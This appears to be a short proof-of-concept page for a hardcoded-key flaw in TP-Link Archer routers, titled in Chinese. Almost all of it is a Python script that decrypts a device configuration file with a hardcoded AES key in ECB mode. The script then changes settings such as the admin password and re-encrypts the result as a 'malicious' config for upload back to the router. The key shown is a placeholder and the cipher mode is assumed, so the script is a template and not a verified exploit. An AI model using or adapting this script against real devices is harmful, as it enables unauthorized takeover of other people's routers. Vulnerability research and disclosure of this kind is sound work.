CVE-2025-15605 TP-Link Archer硬编码密钥漏洞

# Conceptual Proof of Concept for CVE-2025-15605 # This script demonstrates how to decrypt and re-encrypt configuration # using a hardcoded key extracted from the device firmware. import binascii from Crypto.Cipher import AES from Crypto.Util.Padding import unpad, pad # Placeholder for the hardcoded key found in the firmware # Actual key needs to be extracted from the specific device model HARDCODED_KEY = binascii.unhexlify('0123456789ABCDEF0123456789ABCDEF') def decrypt_config(encrypted_file_path): """Decrypts the device configuration file using the hardcoded key.""" try: with open(encrypted_file_path, 'rb') as f: encrypted_data = f.read() # Assuming AES-ECB mode is used based on common vendor implementations cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) decrypted_data = unpad(cipher.decrypt(encrypted_data), AES.block_size) print("[+] Decryption successful.") return decrypted_data.decode('utf-8') except Exception as e: print(f"[-] Decryption failed: {e}") return None def encrypt_and_malicious_modify(config_content, output_file_path): """Modifies config and re-encrypts it to upload back to the device.""" try: # Example modification: changing admin password or settings modified_content = config_content.replace('old_password', 'new_password') cipher = AES.new(HARDCODED_KEY, AES.MODE_ECB) encrypted_data = cipher.encrypt(pad(modified_content.encode('utf-8'), AES.block_size)) with open(output_file_path, 'wb') as f: f.write(encrypted_data) print(f"[+] Malicious config encrypted and saved to {output_file_path}") except Exception as e: print(f"[-] Encryption failed: {e}") # Usage Example # config = decrypt_config('config.bin') # if config: # encrypt_and_malicious_modify(config, 'malicious_config.bin')